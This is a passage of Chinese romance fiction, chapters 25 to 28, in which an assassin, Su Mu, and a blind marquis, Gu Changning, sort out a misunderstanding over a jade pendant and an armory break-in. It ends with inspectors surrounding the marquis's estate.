似乎察觉到被人盯着,顾长宁立马别过一边头去。 耳尖虽白,但有着他人不可察觉的烫热。 她试着挣脱,但疼痛只会因二者手掌摩擦而更甚。 “嘶——” 这一声,明显能感受到一丝不同于刚才的颤抖,苏木眼下被这传来的刺痛而激起一阵酸意。 这一声,也让顾长宁一瞬就松开了抓着她的手—— 第25章 手背被攥得生疼, 玉佩也未找到,苏木有些没好气。 但汤是由她所撒, 她不能暴露自己的目的,于是掩耳盗铃,像是的确着急般开口:“汤……汤撒你身上了。” 此刻,她还不放弃,那靠着顾长宁胸膛的指尖仍紧贴着,甚至有着快速摸索之意。“你瞧不见,我帮你擦。” 眼瞧着手指便要掀开外衣, 苏木凝眉朝里望去, 瞧见了那泛着光泽之物的边缘, 她正要回扣攥住那物, 却在此时,左手又被一力攥住。 顾长宁沉着脸, 未松开手, 漆黑双眸空洞而凌厉,像是在看他一般, 透过黑暗, 将她看穿。 再一次对视上, 苏木知道他看不见,却还是被盯得一滞心虚,眼神一瞬别开。 “你跟我来。” 顾长宁喉间冷冷滚落出这句话来, 却没收手,反而那只指节凸出的大手径直握住了她的小臂。 掌心的温度似乎可以穿过冬日薄袄,苏木感受到他掌心的温度渗透衣料,力道让她无法一瞬挣脱和拒绝。 话语被卡在喉间。 “顾长宁!” 目的未达成,手又被人所钳制着, 苏木有些恼怒。 她被眼前人拉拽着向前推搡了几步,她试图挣脱,没挣开,于是脚下攒着劲,想要一脚拧他脚上。 “又想踩我?” 顾长宁挑眉,唇边不知何时浸染了一层笑意。 他的指尖还停留在她小臂处,劲道未有半分松动。 苏木悬在半空的腿默默收回,心下一震,什么都已了然,她有那么一瞬的讶异,但她不肯先戳破。 她想要再试探时,顾长宁的另一只手摸索着桌边手杖,牵着她就摸索着往能听见油锅沸腾声处所去。 他走的不偏,想来对声音也是极其敏感,苏木任由他拽着,只是能感受到小臂上的力道未有松动甚至更紧,像是怕她跑了一般。 “小二!” 顾长宁绕过屋外回廊,通过手杖的触碰,顾长宁知道已至门下,他声音比平时更沉了一些,眉头上像浮着一层阴云一般,叫人不敢随意搭话。 这声音并不算柔,铿锵有力,因而那小二应声也快。 苏木侧头瞧着顾长宁那捉摸不透的脸,一时没想明白他要干什么。 她瞧见店小二从后厨钻出,忙不迭地刚应下新来一桌的客,又急急从那边赶来。 顾长宁耳朵微倾,听到声音愈来愈近后说:“取碗井水来,再拿块干净的帕子。” 他语气依旧冷淡而听不出情绪,可那一声吩咐听在苏木耳中,却让她心下一怔。 他没松手,只是那只探路的手杖悬在半空之中,杖尖随着他那布满清晰纹路的青筋手背而上下浮动。 与青石地面碰撞时,发出些清脆而细碎的声响。 像是在提醒此事等不得,需快。 小二应得很快,余光往苏木手臂上瞟了几眼,触目惊心的红色一瞬便落入小二眼帘。 他惊呼一声,便疾步跑去了后厨。 苏木有些不明白了,她知道并且一直了解到的顾长宁,都不过是高高在上、俯瞰众生亦或是冷淡的模样。 而此刻,她抬眼看他,那张面容依旧眉目淡漠,唇线依旧冷硬,眼下一如往常的未有波澜,除了紧绷的额头,此容仿佛在府中一般稀松平常。 苏木一开始被拽住往前走时颇有不耐,仿佛下一秒就可一掌劈在顾长宁的肩头,可眼下她却未出声,她说不清现下的感受。 就如同雪原上很平常的飘落一粒飞雪,虽冷却有些柔软。 她垂下眼帘,看着自己被她攥住的手,指尖隐隐发颤。可再想,理智把这点暖意扫除了个干净。 好一会儿,她嘲讽地勾起唇角,轻笑出声:“小侯爷好手段。” 苏木开口,顾长宁似未料到,或者说未料到会说出这样一句话。他蹙眉偏头,听着苏木所说之话,面上未有波动。 “手段?” 顾长宁面上终于有了一丝松动,语气带着些疑意,却又似无奈:“你以为我在算计你?” 苏木收回目光,低头瞧着自己手背上的伤,语气平静:“不是吗?” “小侯爷这样的人,想要拿捏谁不都是轻而易举。” 他垂下双眸,眼睑上的睫毛被暖阳照的生出一片淡色阴影。 苏木说完这句,顾长宁沉默了许久。 他嘴角未动,却从鼻腔轻嗤一声,低笑了出来。 “苏木,”他忽然叫她的名字,声音很轻,却让她刹那便抬眼瞧他。 “若我想要拿捏你,今日便不会和你出来了。” 他这话说的淡意十足,苏木却生出一堆闷气,她总觉得自己被人耍了。 苏木眸光撞上那空寂的双眼,她真的很想瞧得仔细,那双无色的双眼明明看不见,可每一次,她好像都能被他看穿。 四目相对,是寒意与热意的交织,她无畏那空洞眼神,直愣愣地瞪着他。 她正要继续说话,这边一阵疾步声打断了这火药十足的对话。 门里,店小二正端着沁着凉意的井水慌张跑来。 苏木小臂的桎梏感渐渐消失,她的眼神从他的脸庞滑落至自己的小臂——顾长宁已然松开了攥着她的手。 他微微侧过身,避开了那因匆忙而四溅的水花说:“把手放进去。” 顾长宁说着这句话,苏木并不想执行,好似自己非要听他命令受他把控一般。 她不悦,自然纹丝不动。 小二将盆放置于木桌之上,瞧着眼前剑拔弩张的二人,打着圆场,带着歉意的招呼:“这位姑娘真是不好意思,快敷一下吧,别落了疤。” 说罢,那小二未多做停留,瞧着那桌上狼藉,拎起帕子便开始收拾。 周围时不时来些新的客人,那小二应声而四处奔走。 手是自己的,既然有井水为药,苏木自然不会错过,只是刚才一时没顺过气才未有动静。 她掀起衣袖,将右手全部浸没在水里。 才至桃月,这井水依旧是有些刺骨的凉,手背上的火辣因此得以舒缓。 苏木学过医,她比任何人都清楚,皮肤被烫伤应至少在冷水中浸泡一刻钟。 站在木桌前,未顾眼前人,苏木四下寻着木椅的踪迹。 她不知,自己四下转身时,袖边衣角一次又一次地扫过那拄着手杖的手。 顾长宁扯起一抹无奈唇角,似叹息一般:“怎么了。” 这句“怎么了”与先前语气完全不同,先前那句“把手放进去”是冷冰冰的,带有命令的不容置疑的味道。 这样的语气,苏木就偏偏不愿听从。 而眼下这句,却像是败下阵来,语气有一丝无奈。 苏木淡睨他一眼,又看向远处的凳子,昂了昂首:“你左手边,往前走五步,那的凳子搬来。” 她语气尽量模仿着刚刚顾长宁的感觉。这下他倒像是被人吩咐了一般。 但她思虑顾长宁是盲人,所以虽然语气冷淡,但给他的方向确是十分清晰的。 顾长宁侧头,似乎在分辨方向。 他重复:“左手边,五步?” 苏木淡淡抬眼,又像确认一样看向远处的木椅回应:“嗯。” 顾长宁未多言,得到确切答案后便拄杖而向外去。 木杖落地之声不疾不徐,苏木仔细瞧着他那背影,大氅披于宽肩之上,不显臃肿,却有挺拔之姿,练武之人想必都是这样高挺如青松。 苏木收回目光,手腕有些泛酸,她忍不住换了个姿势,将手换个方向又继续泡着。 很快,那手杖之声便折回。 她抬眼,凳子已稳稳放至跟前,他瞧不见,虽然没放对,但苏木若是勾勾脚也是能够到的。 苏木未言谢字,单腿去够那木凳,身体靠着木桌。 可这木桌承重不行,苏木就这么轻轻靠着,独脚前后摇晃时,桌腿发出些嘎吱响声。 顾长宁正站在身旁,听到莫名声音,再次蹙眉问:“何事?” 简短二字,很是利落。 苏木未理他,再往前伸了一毫,椅子朝跟前而来,拖拽之声沉闷又刺耳。 “无事。” 她顺椅坐下,裙摆扫过他的靴面。 苏木敲了敲桌面,瞧着他:“且得等会儿,小侯爷不坐?” 她自然是看到顾长宁只拖了那么一张凳子来,但说这句话时明显已经忘记,说出口后才意识到有些不对劲。 果然,顾长宁单挑一眉,但转而又回归平稳冷清:“无妨。” …… 她说过,顾长宁一般多说一句话就会死。 苏木垂眸,瞧着水中所倒影出来的自己,一时有些恍惚。 刚才的话题被小二打断,顾长宁未挑明,可那句“又想踩我”不难知道他什么意思,苏木回想起来还是想问个清楚。 这种感觉就像自己暗藏于袖中,无人知晓的利刃突然被他人攥与手中,既有被玩弄于鼓掌的愤怒,也是想要夺回主动权之感。 苏木脸上有些发痒,发丝在空中乱舞着,冷风袭袭而过时她才反应过来,时辰过的如此之快,眼下已快至申时。 一抹余晖落入苏木的青衣之上,衬起别样一副美景。 应当是和煦朗润的日子,眼下气氛却莫名再次凝重起来。 苏木一副不在意的模样,单手托着下颌,偏头瞧着顾长宁。 他立于暖色余晖下,摊边一抹柳叶刚抽芽,枝条随风横甩,恰似在他脸上纵横,眸光未被影响,若不是知晓他是瞎子,苏木倒也觉其有遗世独立之感。 她收回目光,眸中染上一丝复杂,水中细指微微发紧,面上未表现出来,苏木语气平缓:“你刚说的再踩你什么意思?” 顾长宁拄着手杖立于阴影之下,听到这句话时眼皮微掀,黝黑的双目涣散而不测。 片刻,他低笑出声,声音轻缓,一字一句:“什么意思?” 他重复着她的问题,又将此话延申其意,顺着着话往下说:“你应该能想到吧。”—— 第26章 “你说的, 我想拿捏你。” 他缓缓开口,低眉温言, 像是在简单重复苏木所说之话,未带自身情绪。 苏木泡于水中的手一顿,未看向他,却嘴角浮起一丝轻蔑的笑:“刚不是还不承认吗?” 她想起刚才,她主动说出那句话,他却矢口否认说“苏木,若我想要拿捏你, 今日便不会和你出来了。” 身后传来窸窣之声, 木杖敲击地面之声依旧脆耳。 顾长宁声音有些泛冷:“此意非彼意, 若你要如此理解, 随你。” 苏木冷笑,不愿隔着肚皮说话, 正准备开口时, 后面声音近了许多。 她一心瞧着水中的手,手背红温消散了许多, 可心中淤积还未消散。她凝神瞧着水面的细小气泡, 突觉什么东西刺眼。 “在找这个?” 顾长宁声音有些懒懒的, 带着几分漫不经心,可这话一出,苏木顿时抬头。 一物倒影眸中, 闪出些光芒来。 顾长宁立于身侧,左手扶着那根修长的玄木手杖,右手抬起,大氅随左臂滑落至肘后,暖黄日光与那物相撞, 散发着莹润冷光。 苏木瞳孔微缩,下意识要伸手去夺,右手还在水中浸泡,她却来不及顾手中湿润。 霎时,水花四溅,大小水珠砸落桌面、地上、以及站至她身旁的人,圆滑水珠落地而砸的细碎。 湿漉漉的玉手一瞬抬起,小指蜿蜒的水珠打湿了手腕衣袖,垂落下许多水渍,她却完全顾不得。 苏木一把扯过玉佩,指节随神色而骤然收紧,玉佩边缘与指甲相撞,激起些细微声响。 这一刻,她握住玉佩的手未有松动,玉佩上的细绳随她拉扯而从另一人手中脱落,直至完全落入掌中,软软耷拉其手背之上。 苏木转而背对着又睨了一眼顾长宁,见顾长宁微微侧头未有夺取之意,紧攥着玉佩的手才缓缓松开。 物件儿躺于左,苏木右手指腹寸寸拂过,摩挲着前后翻看。 上好的一块羊脂玉,质地很是温润细腻,那雕刻着水波的纹路未有半分缺失,再顺着玉佩往上瞧去,系绳出也未有断裂。 本是紧绷之感的额头,这才缓缓舒展开来,程程舒了一口气。 似是怕再有丢失,苏木见无误后便放回了自己的衣间,放进后又拍了拍胸脯,确保衣间有异物阻隔才真的放下心来。 苏木转身,抬眸瞧着站在跟前之人,顾长宁将玉佩这样直愣愣地交给了他,其实意思已经很明显了,他知道,那晚进器房的是她。 顾长宁面容冷白,如松一般站立她跟前时,神色未动,仿佛递给苏木玉佩的人不是他。 听到苏木转身的衣物摩擦声,他抬眉侧耳:“不用泡了?” 苏木正要开口,被人抢了先,一时凝噎却也听话垂眸,抬手细细察看手背,红温已消散很多,再涂上一层紫草油便无大碍。 她一定要问个清楚,于是直言:“在器库中你就已经知那人是我?” 眼前之人再次侧目,眸中无色时唇角却隐着一层淡淡的笑,这笑在旁人眼里会觉冷冽冰霜般的面容有了些许和煦之色, 可在苏木眼中,她觉是嘲笑一般。 苏木冷着脸,即使她的神色他瞧不见。 顾长宁未直接回答问题,他转身,手臂轻抬,那手杖便顺着他的旨意而向前探路:“跟着我。” 苏木跟至身后。 松墨般的背影离她不足一尺,她随着他的步子,缓缓立于身侧。 “起初,我并不知你在里面。” 他这话说的慢,似是思考般:“我与扬风前往库房时铜锁虽开,但是我二人并未怀疑,你一直躲在里面听着我二人对话想必是为何。” 顾长宁头微侧,随后又正头垂颌,像是在认真看路。 路有细碎乱石挡道时,苏木下意识地快上一步踢走。 “府中兵器需换,新到的一批宫中所批置换兵器,我理应前去查看。” “就算我瞧不见,” 顾长宁淡沉声音飘入苏木耳中,说完这半句,她抬头瞧他一眼,她在他眼底瞧见少有的一丝阴霾。 “晨时一批先到的兵器已有扬风清点,府中首批府兵兵器已存放库房,我二人皆以为是又有新到器物,只是被凌风放置未锁上房门。” “再次折回,是因为你漏了馅。” 顾长宁脚步未迈,在她身侧停了下来。 苏木不解,露馅? 何时?她明明未发出一丝声响。 也确是这样,苏木问心中所惑:“何时?” 说这话时她转至顾长宁右侧,她瞧见时有路人未绕道而走,时不时的衣肩摩擦让顾长宁眉心闪动一次又一次。 她瞧着顾长宁这样,她也不知觉也心烦,倒不如让他走的顺遂。 察觉到方位有所变化,顾长宁头又朝向另一边,以让耳朵听的清楚。 “就如此刻,你稍作移动,我便可知道你的动静。” “眼盲之人其他四感会较以往更加敏锐。” “你在架前移动时,你那衣角与木架相擦,声响虽细微,但对于我来说,霎时便可辩其方位。” “那你为何知道是我,而不直接上前?再次折回,你有眼疾,难道不担心自己不敌他手?” 苏木不解,他既然知道屋中有人,却没有直接上前捉拿,而是离开后又再度折回。 还是说他如此自负,自负到认为无人可伤他? 她听到身侧之人冷笑:“不敌他手?” 他仿佛像听到天大笑话,侧目看向苏木的方向,眸中未有焦点,但像是看穿她一般。 “苏木,你是不是还以为你落入我手是因为我侥幸?” 他质问,苏木不知何意,但仔细想来,若不是有白薇被要挟在外,她如今也不可能被困侯府。 苏木没搭腔,想听听他怎么说。 “我承认,你的武功不错,至少放眼上京来说,你可算是佼佼。” 这话听着有些夸赞之意,但语气却不像。 “可杀人之术,呼吸得稳。” 他定脚侧目,再次看向右边,却未对上苏木视线。 “练武之人,基本功不扎实,那是大忌,你出招快,速度也不逊色,但你太心急。 “当时情况,就算你服用避毒丸,但恢复也非刹那之事,以速度去掩饰你中毒后的体力不支,呼吸必然不稳。” “因着这一件,你几次出手都不稳。” “可杀手,在准不在快。” “你若中毒后便离去,就算白薇在我手中,以你的武功,修养好再来侯府,那便是再容易不过。” 顾长宁一句接着一句,完全没有留给苏木反驳的机会。 他继续往前走着,面色沉沉,如同在讲一件很平常的小事。 “可你没有。” “因此我说过,苏木,你是个杀手,可又不完全是。” “那晚,我一人赶奔赴于器库,你认为凭的是什么?” 他语气似质问,可苏木还未开口,他继而又道:“我顾长宁多年征战沙场,次次可绞杀外敌,凭的不是快。” “是准,是稳,是筹谋——” “我就算是独自前去,你有何尝能知我未尝做十足准备。” 顾长宁步履沉稳,木杖之声传入她耳中,让她恰时回忆起那晚的情况。 难怪,那日她刚回东苑不久扬风就带人查过来了,她当时还觉得奇怪,就算至器库方向开始排查,也不至于区区半盏茶的功夫就至东苑。 意思是他折回器库前就让扬风从外围包抄,逐渐往里排查的话,最先到的就是东苑。 若是外人,自会从外围而出,若是侯府中人,能够不知不觉绕过众人潜入器库的,也许只有她…… 心中明了,苏木一瞬自嘲出了声。 若一开始只是怀疑,那么捡到玉佩后便更加确定了。 她久远的记忆被唤醒,在她第一次步入侯府的那个晚上至再次清醒时,她的衣物都已被顾长宁所收,所以那枚玉佩,他肯定知道。 她怎么那么蠢,一次次地错过记忆中最重要的东西。 “那你为何不直接抓我?” 苏木语气薄凉,现在纸窗户已捅破,她不明白,昨晚顾长宁到她房中时为何不直接指认她,而是扰乱这么一大个圈子,还答应和他同来阆华街。 天色渐暗,无暖色衬托,顾长宁锋利的脸庞更显冷冽。 整条青石路被他手中杖发出的单调回声填满,就算不少路人从身边滑过,苏木也无暇顾及。 他未转过头,在听到这句话后也未有任何表示的多余动作,那藏在袖袍下的指节收紧又松开,无人瞧见。 至一水榭前,抬脚才能至桥上。 他往前走时有些小心翼翼,比刚才速度慢下许多。 桥面不算宽敞,勉强可至三人同行。 苏木凝神,想要仔细地听见回话,未瞧见足下青藓,也未注意那头一顽皮垂髫正朝这边跑来。 那脚步凌乱,踩得桥面咚咚作响,待苏木被这声震的抬眼望去时,那孩子已与她腿相撞。 她没留神,被撞得身形一晃,苏木下盘算稳,可脚下青藓顺着下方而去,苏木整个人向侧方倒去,下意识地抓住近在咫尺之物。 桥面很窄,失衡便会坠落湖底,苏木抓住扶栏及时稳住,恍然抬眼间,顾长宁往后退了半步,他身形高大,若是脚下被青藓一绊,整个人便要翻过扶栏,直直落入湖中。 苏木蹙眉惊呼,语气速而焦急:“顾长宁!”—— 第27章 顾长宁自然感知到了异样动静, 他微微偏头还未来得及开口,便觉手臂被一道让人安心的力道给攥住。 苏木下意识抓住他的宽袖, 指节因用力而有些泛白,一阵寒风自身后拂过。 青丝乱舞,模糊了清冷双眼,眼中带着一丝焦急,却无人能瞧见。 惊慌失措下,心还在猛烈的跳动,终于攥住了将要掉下去之人, 她长呼了一口气。 顾长宁被她拽的身形猛晃, 手杖也因突如其来之力而沉沉击杵地面。 他感受到自己肩膀被一温热手掌所扶, 顺着力道, 顾长宁正了身子。 桥窄人多,两人靠的极其近。 顾长宁虽瞧不见离他两寸的面容, 但那一道道急促的呼吸声却扰的他下巴泛起痒意。 后无退路, 他被拽的紧紧的,无处可去。 “放开。” 顾长宁声带磁意, 却无比的轻。 苏木在他那似黝潭般的双眼中第一次瞧到了一丝凌乱, 还有慌乱。 苏木自然没有松手, 身后人潮攒动,若是此刻松手,顾长宁怕是还未踏足, 便后仰湖中。 她倒是没想到,顾长宁堂堂七尺男儿,竟会因为与人接触甚近而有些耳尖泛温。 倒是,比她想象的纯情些。 她向来对情爱不感兴趣,也意识到如此距离确有不妥, 苏木往后退了半步,唇角却勾起一抹戏弄人的浅笑。 “顾长宁,你现在若是掉下去了,我可没工夫捞你。” 言罢,顾长宁敛眸,神色更沉了几分,偏过一些头。 在这偌大的上京城,别说是三年前,就是如今他双目失明,那也是不乏王宫贵女的爱慕,但他自少时便随父征战,平日里倒是很少有机会同女眷相处。 如此近的距离,除了取人项上人头,倒从未有过。 苏木松开了扶住他肩膀之手,只余右手攥住顾长宁的胳膊。 顾长宁没理,自然没再搭腔。 身后人影未见松动,二人紧靠扶栏边上。 酉时末,天边只剩下一道淡淡的红光,桃月的风带着些谴倦之意。 风向有些转变,苏木迎着风,倒觉得舒服。 眯眼瞧去,桥栏上的灯盏不知何时亮起,一排排小小灯火照的清楚,桥下不乏有人泛舟游湖,廊下也有人挑担贩卖,灯火泛照湖面也算一副烟火画卷。 “顾长宁,刚才的话你还没回答我。” 那句你为何不直接抓我,他还未答。 苏木未看向他,目光还停留在桥下风景。 “……没那个必要” 桥下吆喝声不盖这声言语,苏木听得清。 可她似没听清一般,皱眉又问:“什么?” “你助我办事未问其因,你的事我自不过问。” “可你在地牢里还查问我来历?” 苏木困惑,总觉得他这话自相矛盾。 “何况,我不是不问你因,是没空找你罢了,你可还记得,我说的那句话?” 那日,顾长宁答应她,若她办成两件事,她自然便可离开侯府。 但第一件事,在去寻月华时,他说过,人若带回,他一定告知她缘由。 “所以,为什么?” 为什么没有直接抓他,而是任由她请他来到这阆华街。 扬风所说,他是不喜出门之人。 顾长宁自然也知道他所提及的那天,本想转开话题,可瞧着苏木不依不饶,他终于妥协般转过头来。 知他瞧不见,苏木也回过视线,对上那双冷寂而空洞的双眸。 “抱歉。” …… 两人离得如此之近,顾长宁这话语气很轻,可苏木听到了这句话,依旧一怔。 她还未来得及细想“抱歉”二字含义,顾长宁便再次开口。 “中毒一事,却乃扬风之误,也乃我之过。” “你来找我那日,我也并非要与你争吵。” …… “自你从地牢出来之时,你便不是侯府阶下囚。你助我成事,我保你一命,两事若清,你便可逍遥而去。” 说完最后一句话,顾长宁神色微动,冷寂眼中仿佛也能看出些许波澜,但很快又恢复平静。 苏木瞧着她,一时心绪万千。 未想话锋一转,眼前人气焰不如往常,她竟有些不习惯。 所以说,他今日出来是想弥补那日之愧? 可玉佩之事还未说清,苏木再问:“那玉佩呢?你就不担心一个刺客进入你们侯府器库,对你们做些不利之事?” 苏木直言不讳,没有拐弯抹角。 身前之人眉目微动,淡淡开口:“你不会。” 她不会?这是个什么回答? 苏木拧眉看向那冷峻面容,正想要再问,却忽然意识到身后少了些脚步声。 她转头,不知何时,这桥上人潮消散许多。 苏木往后退了好几步,但手中衣袖却未松开,虽然人少,但不代表一直人少。 她才没空一直去关心他的安危,牵着他,一劳永逸。 被扯起衣袖之人跟随脚步而去,手杖垂落手中,却未触地。 “就如此刻——” 冷散之声响起,苏木侧头看着身侧之人侧脸轮廓。 “你会牵着一个盲人过桥,之前亦会为了姐妹情义而让自己身处险境。” “苏木,你虽为刺客之身,但本心不坏。” “你良善,所以我信你。” 一句话落地,苏木的步伐一滞。 她明明足够冷血,足够狠辣。 可听到这句话时,她内心却一丝触动,甚至有种被人揭穿的慌张。 这两个字的语气明明很淡,可苏木觉得就像带着锋利一般,一下戳穿了她长久以来所包裹的那厚厚的茧壳。 “良善?可笑!” 为了不教人察觉,苏木以几乎决绝且快速的语气而迅速否认。 这两个字,只会让她想起尘封在记忆里,那些软弱而无用之事。 可苏木愕然不止“良善”这一句,还有那句“信你。” 顾长宁这样一个,看着与她相差无几的狠厉、冷漠、浑身不透露一丝温情之人,却在此刻,对她这个认识不足月余之人说相信。 “小侯爷的信任倒是随意。” 她带着讥讽,不加掩饰。 恰至桥下,她松开了手,顾长宁紧跟其后。 对于这样明显的讥讽,顾长宁在其后并未接话。 事实上,针对这件事,他已经解释的差不多了,唯一未告知的便是他也查过那箭镞,因而他才会在器库中故意提到宫中所征用的民间工艺坊。 他十分清楚,这箭镞和侯府无关,自然也就无畏苏木查探。 苏木虽嘴上不悦,但眼下心情却比刚知晓顾长宁知道她去过器库要舒坦许多,因此一前一后,剑拔弩张的阴郁气氛也削弱了很多。 她时不时回头瞧着顾长宁,以防他又出什么岔子。 两人相隔距离不远,苏木转头得多稍觉有些累得慌,于是在无人注意的情况下,放慢了步子。 并肩而行,苏木瞧着眼前风景。 青石板路在脚下还算平坦,一些暖黄光影从街边屋檐洒落,二人肩头像落上暖色霞光。 街道两旁,卖糖人的吆喝声此起彼伏,眼瞧着那老翁要转巷而走,苏木疾步上前给了两文铜币,拿下一串焦黄糖人。 顾长宁也已至跟前,当然也听到了苏木说的“来一个糖人。” 嘴角莫名有了一丝弧度,他自己都未察觉。 这样的场景,二人身上似乎都泛着暖意。 甜腻之感融入口中,苏木未问顾长宁是否所需,自己已经吃上了。 顾长宁一袭黑色墨氅拖落至地,神色一如往常。 二人无言,倒也融洽。 正走着,忽然一只小手拉住了苏木的衣角,她顺着拉扯之感指头,一扎着双髻女孩穿着藕粉夹袄,眸光炯炯有神。 “姐姐,今天是花神节,买一束花送给你最重要的人,花神会保佑他繁华似锦,一生平安的。” 小丫头个子不高,但嘴巴却挺巧。 苏木回想今日,她不懂上京习俗,至少在蔺州是没有“花神节”这一说法的。 她侧头扫了一眼同样驻足的顾长宁:“今日是你们上京的花神节?” …… 久未对话,顾长宁不知是在同自己讲话,一时未做回答。 苏木再次开口:“顾长宁,今日……” “是。” 苏木再问之话还未出口,一声肯定的“是”打断了他的话。 苏木问清楚的原因不为其他,她这人不喜被人骗,同样也不乐意小孩子为了花而撒谎,即使这小孩子很是可爱。 苏木被打断说话,张着的嘴巴突然停下,一瞬寂静,她转过头,再次看向小小女孩。 女孩怀中所抱与背篓所装之花皆为腊梅,已至桃月,这冬日的缃色腊梅也确实少见。 天色已晚,若是这女孩早日卖完也能早早回家,想到此处,苏木眼中浮起些柔意。 “既然如此,那你的花我都要了吧。” 这话教小女孩一听,眼中冒着光,仿佛遇到菩萨一般不住道谢,苏木接过她怀中之花,递给了身侧之人。 顾长宁听到了那女孩在卖花时所祝,在感受到柔软花瓣与闻倒纯净花香时有那么一瞬滞楞。 身旁之人未接过花,苏木手上有些泛酸,侧头瞧着身侧之人一动不动,少有的耐心:“帮我拿着,这儿还有。” 这句话一出,身侧人影才接过苏木手中之花。 一手腾空,苏木两手抱起其余梅花,示意女孩快些回家。 孩童已远,天色也渐暗,苏木瞧着顾长宁怀中缃色腊梅,倒是给他沉闷一身增添了许多颜色。 她手中已拿不下,只说了一句“走吧”便先一步往前走去。 “若是你屋中有花瓶,插上也无碍。” 苏木似随意一般解释。 但实则,是她想起了他顾长宁屋中那暗淡的色调与压抑的气氛,那玄色细纹瓷瓶中若是多一抹缃色调和,也多了丝人情味。 顾长宁未答,二人再次无言。 片刻后: 苏木:“你侯府轿子呢?” 顾长宁抬眉:“走过了。” 苏木满脸黑线。 苏木:“你知道我们要走多久吗?” 顾长宁神色未动,语气淡淡:“我当你知道。” …… 苏木有些失语,但他也不能丢下顾长宁独自而去,去的还是他的府上,怎么说都觉得太过于不义。 路上行人渐少,苏木与顾长宁步伐也明显加快许多。 她只恼自己刚才只顾问话,倒忘记这一路走回侯府需要花费多长时辰。 终于,在拐了不知几条小巷几个弯时,远处灯笼浮现眼前。 苏木瞧见扬风在侯府门前张望,她无视扬风用怀疑的眼神看向她,径直朝里走去。 扬风可算瞧见了顾长宁的身影,自午时后听到小厮丢下他家侯爷就独自回了更是担心,看到苏木和他家侯爷回来如此之晚那更是担心。 他疾步上前迎接,本要说其他之话,却被顾长宁怀中腊梅所吸引。 “公子,你不是从来不爱买花吗” 扬风疑惑,自打小起,顾长宁屋中之花若非娴妃——顾长宁长姐所买。 他自己可是从未买过。 顾长宁敛眸,神色如常:“今日花神节,吉利。” 扬风更是乱。 “花神节? “哪来的花神节?” “鄢国有花神节吗?” ……—— 第28章 翌日一早, 天还蒙蒙亮,院中木兰长出些新芽, 有些春意盎然的模样。 苏木起得早,披上外衣便出了屋。 她出门是去看看影儿,不知她昨晚在客栈住的可还习惯,昨夜和顾长宁误会解开,那今日影儿若是入府,自然也不会被当作刺客。 至客栈后,苏木原想带着影儿去医馆再看看她身上的伤, 但是影儿却说就苏木查看便很放心了, 她也想着要不然回府了再替她瞧瞧, 于是领着她便回了侯府。 她快步走到外院, 见到了初时在西苑时的一众下人,那些人正讨论什么讨论的正在兴头之上, 苏木不爱打听, 也未做停留。 只是,苏木这脚刚进游廊, 身后便传来扬风熟悉的声音。 “苏姑娘等等, 侯爷在你屋中等你。” 她说过, 至少在她看来,扬风的性格与顾长宁可以说是如出一辙,因此这命令的语气, 苏木已见怪不怪。 苏木眸中微凝,有些不解。 她这刚出门,顾长宁便去她屋中了,她为何觉得有种不祥的预感。 心觉不寻常,苏木让影儿在她屋中等她。 扬风在后等着她, 她知道现下定然是去不了管家府了,索性跟着扬风又回到了自身住处。 至门前,她踏足而进,已感受到一丝异样的气息。 屋外门扉敞开,苏木站至门口,抬眼瞧着正对她之人。 顾长宁安坐在几案旁的木椅之上,身侧放置了那根常见的玄木手杖,他眉目冷沉,在听到脚步声后,习惯性凝眉侧耳。 苏木毫不避讳的直视他,瞧着他薄唇紧抿,脸上阴云密布,仿佛在克制怒意一般,喉中几字生硬无比:“你去哪了。” 空洞的双眼少有的锐利,让苏木觉得昨日同她一同去阆华街的并非眼前人。 突如其来的质问让苏木极其不悦,她立于他前,晨光被她身影所挡,只留黯淡阴影覆盖堂上那硬朗的面部线条。 他昨夜,明明说过他们二人是平等,而如今,他却坐于上方,再次用俯视蝼蚁般的姿态对着她。 这让苏木很是不爽。 “你管我。” 苏木这话说的也不算温和,有种硬碰硬的生冷气焰。 她同样瞧见,那双寂静的眼浮上一层不可遏制的怒意。 上方之人冷嗤一声,轻颌首,面色如不耐烦一般,手中手杖不知何时被他握住,轻叩地面时发出阵阵声响:“你去过我房间?” 他直奔主题,苏木这才发现有不对劲之处,她昨夜确实是忘了告诉他,她去他房间是为了寻玉佩。 可苏木还是觉得不对劲,即使如此,顾长宁也不至于如此震怒。 苏木应声:“去过,昨夜你身上那件大氅便是我去主屋所取。” 这句一落,屋内顿时寂静。 顾长宁指节微屈,泛白手指紧紧攥住木杖,杖尖再次重重敲击于地面之上。 “也就是说,你碰过我的瓷盒子,是吗?” 苏木能听出,顾长宁这句话声线压得极其低,仿佛蓄势待发的野兽,下一秒便要扑人。 她在听到问话后双眉紧拧,努力回想起那日在他房中所碰之物。 他屋内陈设不多,在捕捉到“瓷盒”这个关键信息后,顿时豁然,她不知他为何震怒,如实根据回忆所答:“的确。” “进你屋中时恰有一橘猫自窗而入,撞翻了你那瓷盒。” 苏木一想,许是瓷盒落入地上出了什么问题,于是如实将瓷盒落地之事告知。 “狡辩!” 她未料到,上方之人却突然震怒。 一声剧烈的拍桌之声让苏木吓的一颤,不过她很快反应过来。 抬眸时,顾长宁脸色铁青,额头已布满青筋,脸色阴沉可怖。 这些日子相处下来,这样大怒的顾长宁她从未见过。 苏木不惧,只觉莫名奇妙:“我有何动因去狡辩?” 她觉得可笑之极,明明眼前之人昨夜还对她说“他信她。” 可眼下,她所说之话他却一瞬反驳。 她语中肯定,虽然在进入主屋后,她除了翻找玉佩,也顺便查找了他屋中是否有箭镞存在,但事实上,什么也没找到。 倒是那瓷盒中的玉簪,的确不像他房中之屋。 案上之人深眉俊目,就这么静静的垂眸,看不见眼中所想,但扬风知道,顾长宁顷刻便要爆发。 果不其然,苏木这话一落地,整个屋中氛围凝重的不像话。 扬风不敢抬首,眼神却往苏木方向瞟,瞧着苏木那一副倔强之样,扬风便觉不妙。 句句顶嘴,语中又满是锋芒,像极了一个刺头。 屋中寂静之时,众人大气不敢一喘,门外却传来仓促而凌乱的脚步声。 直至脚步渐近,扬风才循声望去。 一粗衣小厮停在门前,呼吸急促,行礼时都有些不稳。 “侯爷,门外来了一群稽查司之人,说……” “说什么?” 小厮后半句话犹犹豫豫,扬风在听到“稽查司”三字时便已经心觉不对劲,他眼带担忧去探寻顾长宁面部表情。 见顾长宁神色未动,于是接着话,示意小厮继续说。 得到肯定询问,那小厮强装镇定,语气却仍带颤抖:“说……说侯府藏匿罪犯,需彻查。” “此,此刻已将侯府围住了。” 此话一出,扬风没跳脚,再次往顾长宁方向瞧去。 案上之人,好不冷静,瞧着不动神色,但眉宇间的阴鸷却将心里的不悦透露了个干净。 苏木目光不移,心下却无比困惑。 稽查司? 谢辞桉? 